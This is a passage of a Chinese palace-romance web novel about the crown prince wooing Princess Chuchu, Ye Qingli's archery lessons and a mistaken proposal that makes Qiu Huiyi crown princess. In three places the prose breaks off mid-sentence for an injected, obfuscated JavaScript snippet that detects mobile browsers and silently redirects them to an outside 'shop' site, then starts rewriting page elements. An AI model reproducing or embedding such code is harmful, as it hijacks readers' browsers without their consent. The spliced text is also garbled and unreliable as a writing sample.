“孤明白!可是孤找了她二十年,孤不甘心!” 顾承宴无法理解太子此刻的想法。 在他心里,太子一向是冷静的,无论是面对圣上多年的调教试探,亦或是身处其他皇子为他精心设计的陷阱中,他一直都面不改色,微笑面对。 可现在的他却双目混沌,面色癫狂,早已失了那份自有的冷静。 如同一个迷失在情爱中的寻常男人一样迷茫,无助,容易做出错误的决断! 这不是一个值得追随的主君该有的状态! “殿下,恕臣直言。” “你们二人只在年幼时短暂相处过几日,虽然因为一些磨难使得这个记忆变得深刻。可二十多年来,你们从未相见,她不知你的脾气秉性,雄才大略,你亦不懂她的为人处事,女儿心思。” “你们二人未必适合在一起!” “孤知道!孤都知道!可孤就是想要她!” “殿下,强拧的瓜不甜!” “那也得先让孤咬一口才知道甜不甜!” 宗政景宏红着眼看向顾承宴,“孤叫你来,是让你给孤出主意,不是让你泼冷水的!” 顾承宴站在原地,眸色冷然。 “殿下所想是行不可行,求不可得,臣做不到。” “当年名动京城的顾国公府大公子怎么会没有办法?”太子走到顾承宴面前,眸色尽暗,“你是不愿意帮孤?还是不想帮孤?” 顾承宴面无波澜,“臣,做不到!” 太子气急败坏,“好你个顾大,孤当年在皇祖母面前白替你背黑锅了!现在孤遇上事,你却一点都不讲兄弟义气!” 顾承宴依旧不为所动,甚至为了不听太子的唠叨,直接闭上眼睛,一副不愿多说的样子。 太子见状,越发气得很了。 他知道自己该做什么,不该做什么,可顾承宴越是阻拦,他就越是想要试试。 他看着顾承宴那张迷死人不偿命的脸,想起这张脸上一次失态是什么时候,眸中瞬间多出一抹坏笑。 “孤听说京城有家书铺,里面的藏书只能看不能买,却一样有许多人趋之若鹜,盖因店家说看完那些书科举时必能中榜!” “店家为谋私利,口出狂言,误导学子,搅乱我朝科举大事。” “你说,孤是不是该把店封了?再把人一并抓了?” 64. 她喜欢什么? 顾承宴骤然睁眼,无奈道:“殿下想要臣如何做?” 宗政景宏没回答,有些好奇地看着顾承宴,“没想到你府中那位妻子竟对你影响这么大?你莫不是已经喜欢上她了?” “殿下若是没吩咐,臣便先告退了!” “慢着!” 宗政景宏把人叫住,凑到近前。 “你刚才那番话有些道理,我与她多年未见,她兴许已经不认得我了,你先教教我怎么让她喜欢上我?” “非我不可的那种!” 太子最后一句话带着莫名的期待。 顾承宴却开始有些后悔追随他为主君。 他闭上眼,将心里那点悔意甩开才道:“若要让她喜欢你,殿下就得先知道她喜欢什么?” “我们二十多年不见,她喜欢什么,孤怎么知道?” “那就是殿下的问题了。”顾承宴毫无帮助朋友的自觉,“若是殿下连她喜欢什么都不知道,更别想其他事了。” * 叶青漓骤然被镇南王托付,只觉得一个头两个大。 毕竟在她印象里一直温婉大气的原书女主和眼前这个想要拖着瘸腿去打老虎的女人完全不同! “郡主,不行,真的不行!你身上的伤还没好,太医说了,不能乱动!” “没事啦!我身体一向很好,你安心在帐内等我,若是我父王来了你随意将他糊弄过去,等我打虎回来分你一张虎皮!” “不!我不要虎皮!郡主还是安心待在这修养吧!那老虎凶猛,自有其他人为民除害!” “这怎么行?那可是我的猎物!不能再让别人抢了!” 叶青漓十分无奈,看向一旁和她一起扶着郡主的侍女。 “你快劝劝你家郡主啊!” 那侍女早已麻木,“郡主闲不住,她连王爷的话都不听,奴婢劝不住的!” 叶青漓一手拖着楚楚郡主,一手努力把她往回拉。 “郡主若是闲不住,不如,不如教我射箭吧!” 东门楚楚终于停下,好奇地看着叶青漓。 “射箭?这么简单的事你都不会?” 叶青漓连连点头。 “是呀,京城不比南疆,大多女子都不善骑射。郡主的腿伤未好,即便去打虎想必也不能发挥全部实力。” “不如趁养伤的机会教我射箭,既不会用到腿,也能打发时间!” 东门楚楚想了想,瞬间觉得这个主意好极了! “就这么定了,我来教你射箭!”她拍了拍傲人的胸脯,“你放心,我一定让你百发百中!” 楚楚郡主脸上的骄傲在叶青漓第无数次落靶时彻底消失。 不仅是她,就连她身边的侍女,看着叶青漓的成绩也觉得有些惨不忍睹。 “奴婢还以为顾夫人之前是为了留住郡主的说辞,没想到夫人真的对此一窍不通!” 叶青漓有些汗颜。 上一世她一门心思放在经商上,大钱小钱挣得盆满钵满,就连帮助沈仕楣升官也颇有经验,从来没有这么没用的时候。 果然,上天为你开了一扇门,就会为你关上一扇窗。 “我第一次射箭嘛,多练练就好了。”她接过侍女重新递过来的箭篓,“你快去侍奉郡主吧!” “是。” “不必了!” 一直坐在躺椅上口头教导的楚楚郡主,不知何时已经走到两人身后,侍女连忙上去想要搀扶她,被她抬臂躲开。 她走到叶青漓面前,满脸严肃,“我明白了!” “明,明白什么?” 楚楚郡主忽然伸手握住叶青漓的胳膊,从她的圆润的肩头开始摸,慢慢下滑,经过腋下,越过肘部,直到叶青漓纤细的小臂,最后停留在她白皙柔嫩的手上。 叶青漓被她摸得又酥又麻,却不敢有一丝动作。 “你胳膊上力气太小,所以拉不开弓,动力不足,箭自然刚射出去就掉在地上。” 叶青漓苦笑,“郡主所言极是!我还需要多练!” “不!不是练习的问题!” 楚楚郡主没有责备叶青漓,而是命人将箭靶往前挪了十步,而后站在叶青漓身后,从后面环住她的身体,抬手按住叶青漓的肩,指挥着她将箭搭好,而后认真检查细节,直到确认叶青漓动作无一丝错漏,才轻轻开口。 “放!” 叶青漓下意识松开勾着羽箭的手,下一刻,果然那支箭在距离箭靶半尺远处落地。 虽然依旧未能中靶,叶青漓还是很开心,这可比她刚才的成绩好看太多了! “真的有用!” 楚楚郡主却没她这么乐观,大概是头一次教人射箭,她拧着股劲想要教得更好,于是再次环着叶青漓的腰,凑到她耳旁认真说着关键动作。 被太子硬拉来调查楚楚郡主喜欢什么的顾承宴,看见这一幕,波澜不惊的眸中骤然多了几分暗色。 “她们这是在干什么?” 太子看得稀奇,仔细辨认后才道:“原来是在教你娘子射箭?不愧是楚楚,多才多艺!” 顾承宴看了太子一眼,不动声色后退一步离他远了些。 只是在看见远处学得认真的叶青漓两人时,忍不住薄唇紧抿。 教青漓射箭原本是他的计划,现在站在她身后与她身体相贴,握着她的手的也该是他! 若不是太子忽然找到楚楚郡主,逼着自己给他出主意,现在他该和青漓共乘一骑在密林中过二人世界! 必须让太子动作再快些! 顾承宴忽然开口,“殿下不是想知道楚楚郡主喜欢什么,现在就是个好机会!” 宗政景宏回过头来,“此话怎讲?” * 在楚楚郡主的不懈帮助下,叶青漓终于能够成功上靶,虽然成绩不算理想,但是对于刚接触射箭这种事一个时辰的她来说,已经是一个很大的进步。 楚楚郡主的腿上有伤,不能站立太久时间,两人终于停下,决定休息一会。 靶场上的侍卫宫人极有眼色,先为两人送上热茶糕点,又动作麻利地将刚才四处掉落的羽箭捡起,将现场清理干净。 经过这几次的相处,加上刚才两人近距离的接触,叶青漓几乎可以确定,这个楚楚郡主和原书女主性格截然不同! 她依旧善良,却并不只有单纯,为人大方热情,喜好武艺,崇尚强者。 大概是出身南疆的缘由,骨子里还有些争强好胜。 若是今日有一场让叶青漓和别人射箭的比试,只怕楚楚郡主能当场发疯! 一点都不像原书里的女主,嫁给太子后因为身份原因,夫妻两人明明互相喜欢却貌合神离,每天互相说着最戳对方心窝的话,夫妻共度几十载,却无一日安好。 想到原书中楚楚郡主的结局,叶青漓不由得有些担心起来。 坐在她面前的女子这般美好,实在不该在宫中苦受那等磋磨! 楚楚郡主注意到叶青漓端着茶杯的手有些颤抖,手心和同羽箭相触的地方也微微发红。叶青漓却像个没事人一样,一声不吭,不喊疼也没喊累,心中对她越发喜欢。 “你和京城里的那些夫人小姐真不一样!” 叶青漓正走着神,忽然得了这么一句评价,有些意外。 她放下茶杯,温婉一笑,“郡主觉得我有哪里不同?” “京城的姑娘们都太娇气了!”楚楚郡主似乎想到什么不好的事,忍不住皱了皱鼻子,“一点小伤小疼就嗷嗷开始哭,眼泪流得停不下来,让人头疼!要是什么事情不如她们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304588|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意了,更是不得了,四处告状不说,背后的小心思更是一个接一个!” 叶青漓大概能理解她的意思,毕竟叶蕙珠就是这样的性子。 “京城聚居达官显贵,身居高位者,自以为坐拥一切,养育儿女时就会不自觉骄纵。有些人自幼被娇养惯了,遇到挫折第一反应就是哭或者生气,再不就是将过错推到别人身上,打击报复来安慰自己。” “这都是很正常的事。” 叶青漓已经见怪不怪了。 楚楚郡主听完她这番言论,却更加好奇起来,“你也是京中大官的女儿,你怎么没像她们那样?” 叶青漓顺着她的目光看到自己手心微红,下意识抬手盖住,笑着道:“郡主来京城时日短,想必还不知道我的出身。” “我并非叶家亲生的女儿。” 楚楚郡主有些不明白。 “可你的确是顾国公府的大夫人啊!你府上那个六妹妹叫你嫂嫂,我听得很清楚!” 大概是因为楚楚郡主很快要回南疆去了,又或者是因为叶青漓知道她是原书女主,所以下意识对她不设防。 叶青漓喝着茶,将自己的身份来由,与顾承宴的相遇经过,换亲因果都说与她听了。 一旁的侍女听得惊讶无比,楚楚郡主听完后更是止不住惊叹。 “原来这就是命定的姻缘!” 叶青漓有点想笑,这哪里是命定的姻缘? 明明上一世两人见都没见过。 女孩子投缘有时候只是一瞬间,叶青漓说完自己的事后,楚楚郡主也很热情的说出自己的经历,其中说得对多的就是镇南王。 “我父王当年以一挡百,击退蛮族,被圣上封为异性王。他守护南疆几十年,南疆百姓都称他为英雄!” “我也觉得他是英雄,以后我也要嫁个英雄!” 如今太子正在选太子妃,镇南王又正好带着女儿进京,这么巧合的时机,叶青漓不得不多想。 她定了定神,试探问道:“太子不就是英雄?郡主想嫁他吗?” 谁料,楚楚郡主却嫌弃地挤眉。 “他?跟英雄差远了!” 叶青漓惊讶楚楚郡主对太子的观感竟然如此不好,不自觉说道:“如果说镇南王平定蛮族之乱,造福一方百姓是英雄的话,太子为何不算?” “太子贵为储君,每日发号施令,不知守护了多少百姓免于天灾人祸侵扰。镇南王能以一敌百,太子殿下也不差啊!” “何况昨日他不是还打了三头鹿?” 叶青漓觉得自己说得十分客观,怎料楚楚郡主却嗤之以鼻。 “几头鹿算什么?还不是他身边侍卫围击,留给他最后一箭博的头彩。” “他能把伤我的那头老虎打回来才算本事!” 叶青漓瞬间哑然。 让养尊处优的太子单枪匹马去打老虎,还是别了吧! 她怕南朝江山动荡! 顾承宴被太子叫走一直未归,叶青漓也无事可做,只好一直陪着楚楚郡主,让她教自己射箭骑马,免得对方‘贼心’不死跑去打老虎。 楚楚郡主虽然嘴上偶尔嫌弃叶青漓学得慢,但是教她的时候却依旧一丝不苟,从未轻待。 三天下来,两人已经成了无话不谈的好朋友。 夜幕降临,叶青漓正奇怪为何顾承宴这几日总是神出鬼没,忽然人群中爆出一声惊呼。 叶青漓凑近望去,才发现竟有一头身形魁梧的老虎浑身是血被人抬回来。 而猎得老虎的太子,此刻也浑身是伤,被顾承宴搀扶着往回走。 他衣衫破烂,全身都是血污,整个人灰扑扑的,一双眸子却格外亮堂,直直看向某个方向。 叶青漓循着太子目光望去,果然看见楚楚郡主! 65. 太子妃 叶青漓没忍住笑了,前几日楚楚郡主才和她说太子不算英雄,今日太子就把这只老虎打回来了。 虽然太子也受了些伤,可更加证明他是独自一人猎杀的老虎,并未假借他人之手。 楚楚郡主对上太子灼热的目光,忽然有些心虚,连忙转过头。 不妨又对上叶青漓戏谑的眼神,小脸一下子红了! 她立刻从篝火旁起身,向营帐内走去,边走嘴里还边吐槽。 “这个该死的太子,怎么又把我的猎物抢了?” 话语间少了几分鄙夷。 叶青漓看见楚楚郡主落荒而逃,笑得更放肆了。 忽然她注意到有一道热烈的目光落在自己身上,扭头看去,竟是站在太子身边的顾承宴? 男人面容平静,没有什么表情,叶青漓却能看出他眼底的委屈。 这几日他神出鬼没,叶青漓也一直和楚楚郡主在一起,夫妻两人许久未曾好好说过话。 想到这,叶青漓连忙起身,向顾承宴走去。 只是她刚往前两步,那个浑身是伤的太子殿下忽然间重重咳了一下,周围的侍卫们十分担心,连忙一拥而上将人引进营帐内让太医医治。 顾承宴也被人群裹着不见了踪影。 叶青漓撇了撇嘴。 罢了,他有正经事,自己还是不要打扰他。 太子营帐内,早有太医准备好药物等待,太子一进来就被上上下下里里外外检查了个遍,确认只是一些小擦伤,并无大碍后,身边众人才松了一口气。 “殿下身体并无大碍,擦些金疮药,好生休息几日便好。” “多谢太医。” 太子独自打了一头老虎回营,得到消息的圣上十分高兴,得知太子受了点伤后更是亲自前来看望。 确认他只是轻伤后,更是无比自豪。 “吾儿有吾当年之勇!” 一旁的几个王爷公侯跟着附和,镇南王也暗戳戳拍起马屁。 “可不是吗!微臣记得圣上当年狩猎时,曾猎得过一头黑熊。那家伙,皮糙肉厚长得又壮,一站起来比我还高三个头,微臣当时都要吓死了!幸好圣上天生神力,将其一箭射死,救了微臣性命。微臣现在每每想来都还心有余悸啊!” 镇南王长得五大三粗,说起这些动听的话却格外细腻。 当年到底是谁被吓得屁滚尿流,又是谁将黑熊打得几乎半死已经不重要。 重要的是,最后一箭的确是圣上射的! 果然,说起往事,圣上越发高兴,脸色也更加和蔼了几分。 他看向宗政景宏,眸中尽是对自己这个继承人的满意。 “太子年少有为,猎得猛虎,免除民困,赏!” “儿臣谢父皇!” “你身上有伤,便好好休息吧,朕明日再来看你。” “是,儿臣恭送父皇!” 圣上在几个王爷和公候的簇拥下离开营帐,帐内霎时间安静下来。 宗政景宏抬抬眼,帐中侍卫便各自出去,守在门口,只余一直未发一言的顾承宴留在原地。 太子那身破烂外衣被太医直接剪开,肩腹处包裹着干净的纱布,帐中烛火摇曳,昏黄的灯光映在他腹部,暖黄色中渐渐多出一抹微红。 宗政景宏丝毫不觉得疼,脸上还荡漾着笑容。 “你刚才瞧见没,她看我了!” 不等身边人回答,太子忽然坐起身,神情激动。 “你说得对,要想让她喜欢我,就必须知道她喜欢什么。” “她喜欢英雄,孤就做一回打虎英雄!等孤身上的伤好了,也打一头黑熊给她看看!” “既然要做,殿下何必要等,不如明日就去猎熊?” 太子皱了皱眉,“可孤身上的伤……” “夏猎时日不长,殿下若是全放在养伤上,可就白白浪费了。”顾承宴语调微转,“殿下是想让楚楚郡主喜欢上你,还是想等圣上选出太子妃为你指婚?” 宗政景宏霎时白了脸色。 找到楚楚后他太激动了,竟险些忘记这次是来给他选太子妃的! 他找了那么多借口和理由才至今未婚,如今临门一脚,绝不能掉以轻心! “你说得对,孤现在就好好休息,明日就去猎熊!” 顾承宴很满意。 “那微臣就不打扰殿下休息了。” 走出太子营帐后,顾承宴脸色霎时冷了几分。 若不是太子这出了意外,此次夏猎他本该和青漓一起度过的! 如今只希望太子争口气,不要等到了最后一日还没博得郡主芳心。 * 顾承宴回去时,叶青漓已经睡下了。 他轻手轻脚脱下衣物,尽量放缓动作躺在叶青漓身边,双手至于胸前,正要阖眼,身前忽然横过来一条玉臂。 “你回来了?”是叶青漓在他耳边嘟囔。 “嗯,是我吵醒你了吗?” “没有,我在等你。” 顾承宴侧身将叶青漓勾至自己怀中,为她找了个舒服的姿势后,埋在她发间深吸了一口。 “等我做什么?” 叶青漓依旧是半困半醒的状态,趴在他怀里安静了好一会,才含糊不清道:“我见太子打了虎回来,担心你也受了伤。” 顾承宴心里一软,倾身在她额前印下轻柔一吻。 “我没动手,也没受伤,安心睡吧。” 叶青漓嗯了一声,脸颊在他胸前蹭了两下,呼吸彻底归于平缓。 顾承宴感受着她的体温,她的呼吸,暗自决定。 要让太子那边进度再快些! * 叶青漓第二日醒来时,顾承宴已经不在身边,她摸了摸身侧的床铺,凉的。 “每日起这么早,做什么去了?” 她的疑惑很快有了答案。 自这日起,太子每日晚间都会带回来一样重量级猎物。 有时是一头野猪,有时是几只颜色鲜亮的狐狸,最振奋人心的一次,是他打回来一头黑熊。 太子身上的伤越来越多,可是周围人的欢呼以及圣上的自豪是真的,就连楚楚郡主对太子的态度变化也是肉眼可见。 顾承宴的设计指导和一旁侍卫保证了太子的生命安全,虽然他一直是一个人狩猎,但是身上并未受过重伤,几日下来人憔悴不少,不过双眸更精神了! 狩猎多日,从前只当做功课的骑射一道也大有长进。 太子每日狩猎回来时,都会先看一眼楚楚郡主在何处。 少女的眼神从不屑,到惊讶,由平静慢慢转变为欣赏,他都一点点看在眼里。 太子十分高兴,也没忘记功臣。 “等孤和楚楚的婚事定下,你必有重赏!” 顾承宴想要的不是重赏,而是能一直陪伴在叶青漓身边。 他冷着脸,“重赏就不必了,殿下这是已经决定向郡主表明心意了?” “没错!” “何时?” “今晚。” 顾承宴眸中终于多出一抹亮色。 “那微臣就提前恭喜殿下抱得美人归!” “既然殿下这里不需要臣,那臣就先告退了!” 宗政景宏颔首,忽又笑了,偏头朝他示意。 顾承宴皱眉看过去,发现是楚楚郡主又在教叶青漓射箭。 多日练习下来,叶青漓的箭术不说突飞猛进,起码能箭箭落在靶子上。 楚楚郡主站在叶青漓身后,抬手帮叶青漓调整姿势,两人贴得很近,近到叶青漓转头就能碰到对方的脸。 可楚楚郡主一直在说着什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314743|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她丝毫没有察觉到。 她全神贯注,始终关注着弓弦上的箭,忽然箭飞出去,正中靶心! 叶青漓惊呆了,反应过来后立刻抱着旁边的楚楚郡主开始欢呼,嘴里还说着他听不清的话,不过从表情上顾承宴能分析出来,叶青漓应当是在感谢对方。 只是要感谢也不必和她靠得这么近! 顾承宴紧抿着唇,一步步向两人走来,以顾承英伤势复发为借口,把叶青漓叫走。 两人走到一棵大树旁后,顾承宴忽然将人按在树上,用力亲吻起来。 “唔……夫君……!” 叶青漓有些懵,不明白顾承宴为何忽然亲她,动作也算不上温柔。 她感到唇间传来一阵刺痛,下意识抬手将人推开。 顾承宴短暂与她分开,大口喘着气,黑眸却始终落在她那张染着水色的唇上,眸中欲*念随着她轻舔了下唇而彻底冲破防线。 “你……唔……” 叶青漓刚要开口说话,红唇再次被人堵上,顾承宴极尽索取,丝毫不加克制,直到叶青漓肺中空气不足,才再次与她分开。 “你怎么了?不是说六妹妹伤势加重了?” 叶青漓呼吸暂缓后第一时间问道。 “她那边没问题。” 叶青漓更加疑惑了。 “那你……” “我只是不想你继续和那个郡主待在一起,骑马,射箭,这些事情本该由我来教你的!” 叶青漓眨了眨眼睛,没明白顾承宴这突如其来的醋意是为何? 郡主是女人啊! “可你不是没时间吗?” 叶青漓一句话浇灭了顾承宴心中的焦躁,他眸光微闪,叹了口气。 “抱歉,是我不对!” “没关系。”叶青漓很快回复,“我知道你在太子身边做事,以后一定会越来越忙,我理解。” 如此善解人意,体贴入微,顾承宴却一点都不开心。 他发现,虽然两人已经互相表明心意,可是这份心意并不对等。 起码,叶青漓不如自己渴望她一样渴望自己。 为了验证这个猜想,顾承宴将叶青漓带回两人的营帐,用尽各种手段亲吻她,两人的呼吸越来越急促,心跳也越来越剧烈,可到了最关键的时候,叶青漓还是如梦初醒般突然推开了他。 “我想睡了。” 顾承宴脸上的失落隐在黑夜中未被察觉,他哑着声音,说,“好。” 而后躺在叶青漓身边任身体渐渐归于平静。 良久,久到他以为叶青漓已经睡着了,才重重叹了口气。 叶青漓拽着被子将自己紧紧裹起来,脑中乱成一团麻。 有一股冲动让她想要直接开口问他的身体有没有事,理智又告诉她千万不要提起这件伤心事。 那声叹息传入耳中后,叶青漓心思不再摇摆。 不能问!一定不能问! 翌日两人醒来,又是一副相安无事的样子。 各自问了早安,便出发前往猎场。 顾承宴见叶青漓下意识往楚楚郡主的话营帐走去,连忙将她拉住。 “怎么了?” “今日别去找郡主了,我来教你射箭吧。” “可是夫君不用去太子那边吗?” 顾承宴意有所指,“夏猎即将结束,太子妃的人选该出来了。” “当真?” 顾承宴点头。 “那会是谁?” 顾承宴没有回答,只是看了眼前方。 那里正是楚楚郡主的营帐。 叶青漓忽地激动起来,难道原书剧情真的要实现了? 果然,没过多久,圣上那边传来消息,太子妃人选已于昨日由太子亲自选定。 是邱国公嫡女! 66. 她不喜欢我! 叶青漓被顾承宴带走后,楚楚郡主也没了继续射箭的心思,正打算回去休息时,一个侍卫忽然走到她面前。 “太子殿下有话要对郡主说,请郡主移步围场后小树林一叙。” “太子?” 楚楚郡主下意识望向方才太子所在的地方,果然那里此刻已经不见了人影。 “他找我要说什么?” “郡主去了就知道了。” 楚楚郡主略有犹豫,想到这些日子宗政景宏的表现,以及他频频落在自己身上的目光,还是点头。 “我会去的。” 楚楚郡主告别侍女一路向着侍卫所说的树林走去。 今日月黑风高,头顶的树叶沙沙作响,楚楚郡主行得远了些,围场旁篝火的光亮已经照不清眼前的路,她不得不放慢脚步,扶着身旁的大树慢慢走…… 太子这些天打猎时,问遍了身旁所有侍卫如何追求心爱的姑娘,众人七嘴八舌,宗政景宏将所有道理综合后得出结论: 向心爱的姑娘表白,首先要在一个安静的地方,不然中途很可能被其他人打扰。其次自己要记得打扮一下给姑娘留下个好印象。最后再送上一束花,越是浪漫的时候,姑娘们越容易答应。 宗政景宏举一反三,快速洗了个澡换上一身干净的衣服,将顾承宴那个可能影响自己发挥的人赶走,只留下帅气的自己,命侍卫将楚楚郡主约在围场后面鲜有人去的小树林,再捧上一束他亲自从猎场上采来的野花,漫步向树林深处走去。 还没走多远,他就看见一身红衣的女子瘸着腿走在树林中。 她真的来了! 宗政景宏大喜,忙小跑着上前。 “站住!” 前方女子身影一怔,脚步停下似乎是要转身。 他却没来由一阵紧张,连忙道:“你不用转过来,孤只是有几句话要跟你说。” 女子微愣,老老实实站着没动。 宗政景宏深吸了一口气,缓缓道出自己的心意。 “孤不知道你还记不记得小时候的事,二十年前我第一次见到你的时候就注意到你了,这么多年来一直对你念念不忘。夏猎这几日,孤也一直在观察你,我发现我对你越来越迷恋,已经到非你不可的地步了。” 宗政景宏顿了一下,朝着身前的人大喊: “我喜欢你,你愿意做我的太子妃吗?” “臣女愿意!” 面前的‘郡主’忽然转身,宗政景宏怔然看着对方长着一张他不熟悉的脸,霎时间呆愣在原地。 “你……” “殿下,臣女愿意!” 邱慧怡万分激动,她没想到自己心心念念的太子殿下,竟然也是喜欢她的?而且这十多天也一直在悄悄观察自己! 她拖着一条受伤的腿走到太子面前,一想到这些日子自己可能有一些不雅观的表情被他看见,她连忙羞得低下头。 “臣女竟不知太子殿下早就对臣女情根深种,我……我愿意的!我这就去跟爹爹说,让他请皇上为我们赐婚!” 似乎是觉得宗政景宏已经在今夜主动了,邱慧怡连忙开口把剩下的步骤揽过来。 “我……” “殿下若是着急,我现在就去告诉爹爹!” 见太子高兴得说不出话,邱慧怡立刻心领神会,伸手将那一捧鲜花接过来,放在鼻尖轻嗅,微笑望着对方,“我很喜欢殿下的花!” 然后转过身就朝着邱国公的营帐走去,步子一瘸一拐。 宗政景宏站在原地,大脑一片空白,连邱慧怡什么时候离开的都没注意。 “怎么会是她?” 他下意识问出声,忽然灵光一闪向后转身,果然看见东门楚楚正站在他身后不远处。 月光终于冲破厚厚的云彩,透过树叶间隙照在地上,宗政景宏看见东门楚楚瞪大了眸子红唇微张站在那里。 他暗叫不好,抬步上前想要解释,东门楚楚却比他先退后一步,抬手叫停他的动作。 “殿下不必多言!” 东门楚楚来的路上一直在想宗政景宏会对自己说什么。 这些日子他看向自己的眼神一日比一日火热,她不是不懂其中深意,为了不让贴身侍女知道这个秘密,自己甚至将她留在围场。 此时东门楚楚的确庆幸没有将侍女带在身边,否则自己的自作多情岂不全被人看了去! 她低头用力咬了下唇,抬起头时眸中已满是冷意。 “猎虎那日殿下说过让我不要妄想不属于自己的东西,我以为我已经做得够好,没想到殿下今日还特意把我叫来旁观你对佳人的一片心意!” “殿下放心,你的心意我明白了!” * “……事情就是这样。” 宗政景宏躺在椅子上,一脸颓唐,再没有打猎归来时的意气风发和年轻气盛,整个人像是一下子老了十岁。 “我怎么知道那邱姑娘也穿的一身红衣,还和楚楚瘸了同一条腿?早知道是这样,我就不在晚上表白,一定选在天光最亮的时候!” 顾承宴听完此处,下意识摸了摸鼻子。 邱慧怡派人设陷阱针对顾承英,父亲知道后便有样学样还了回去,陷阱的地点还是顾承宴亲自帮着确认的,没想到竟会坑了太子。 他看向宗政景宏的眼神里终于多了几分同情。 谁能想到拼命辛苦十多天才换得一个和楚楚郡主独处机会,竟会横空蹦出来一个邱慧怡? “那殿下现在打算如何?” “什么如何?还能如何?父皇已经当众宣布太子妃人选是邱国公嫡女,赐婚的圣旨都写好了,孤难道还能抗旨不成?” 顾承宴点头,“既然如此,殿下就好生准备成亲吧。” 宗政景宏闻言,一双好看的桃花眼又黯然几分。 * 叶青漓听闻太子妃人选定为邱国公嫡女时,第一时间想到的就是楚楚郡主! 这些天,太子和郡主两人的变化叶青漓都看在眼里。 一个郎有情,一个妾有意,她本以为结局会像原书中的那样,楚楚郡主入宫做太子妃,后来做皇后,夫妻二人互相猜忌,同床异梦几十年。 未料到竟会是这样的转变,太子竟然亲自求娶邱国公嫡女? 看来原书剧情已经彻底崩坏了。 可是,叶青漓看着坐在椅子上重复着投箭动作的楚楚郡主,总觉得这也不是最好的结局。 * 太子妃人选已定,众人打猎的情绪瞬间降了大半。 圣上心里清楚,便叫停一日,让众人一起将猎物抬出来分享,席间君臣同乐一片欢声笑语。 邱国公端着酒杯不断向圣上敬酒,目光时不时落在邱慧怡身上,满眼都是自己即将嫁女的喜悦。 邱慧怡被几个要好的贵女簇拥着,听着她们接连不断的恭喜祝贺,害羞地咬唇向宗政景宏望去,却一直得不到男人的一个回眸。 太子强撑着精神坐在席上,目光黯然却总也控制不住朝楚楚郡主的方向望去,每收到对方一个冷眼,眸光便会再黯淡一分,似乎整个人都失去了光。 顾承宴将一块烤好的羊肉切成小块,放到叶青漓面前,却注意到女人似乎在走神,循着她的眼神望过去才发现她也在看着楚楚郡主。 顾承宴嘴角的轻笑霎时消失,放下酒杯的动作下意识加重。 “咚!” 叶青漓听见动静转头看他,正对上顾承宴微笑的眼神。 “这羊是猎场的侍卫们特意养的,放凉了就腥了。” “谢谢夫君。” 叶青漓拿起筷子,夹了一块却一直没有放进嘴里。 “太子妃人选真的已经确认了吗?不会再有变动?” 顾承宴一脸淡定,“圣上金口玉言,有谁能改变?” 叶青漓闻言有些失落,可一想到原书中楚楚的结局,似乎又不那么失落了。 她已经把楚楚当做自己的朋友,自然希望她能得到最好的,如今这出反转,叫叶青漓都不知道自己是该替她高兴还是替她难过。 叶青漓正纠结时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340888|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,坐在最前面的几人和圣上似乎已经酒到正浓,情绪有些激动。 只见顾国公红着脸冲邱国公打了酒嗝。 “没想到最后竟是你跟圣上做了亲家,可惜太子没眼光,竟然瞧上你家的女儿!” 这话说得放肆,只是太子黯然神伤顾不上追究,圣上也喝得半醉似乎没注意到话中失礼。 邱国公与顾国公算不上朋友,可是多年为官,一同伴在君侧,互相对对方的脾气性情都是极为了解的。 他知道顾国公这是在记恨邱家伤了顾承英的事,也知道邱慧怡受伤是顾国公的报复,更知道顾国公此刻并未喝醉,只不过想借着喝酒发发酒疯。 可谁叫最后是他邱家赢了? 还赢得那么轻易! 是以他并未生气,只是得意一笑。 “顾国公说得是,小女打小这运气就不是一般的好,比不上你家那个小的,还没打到两只鸟雀就掉进陷阱,听说似乎伤了胳膊,严不严重啊?以后该不会影响她嫁人吧?” “你……!” 邱国公近乎挑衅的一个笑,瞬间让顾国公失了冷静,他站起身来抬手几乎要打在邱国公身上,半空忽然多出一只粗壮有力的手一下拦住了他。 顾国公不满地回头瞪过去,竟是镇南王? 浓眉大眼的镇南王此刻脸蛋也有些微红,只是隐在茂密的胡子下,无人瞧见。 “今日圣上选定了太子妃,可是喜事一件,顾国公莫要高兴过了头!” 这是提醒,也是警告! 顾国公被他拦下,酒劲散去,浑身的冲动瞬间收于脑中,有些后怕地看向圣上。 但见一直半醉得有些困乏的圣上斜倚在座位上,眼神清明地看着镇南王。 “朕记得楚楚郡主也到了婚嫁年纪,镇南王可有什么打算?” 长相憨厚的男人摸了摸后脑勺,向楚楚郡主的方向看了一眼。 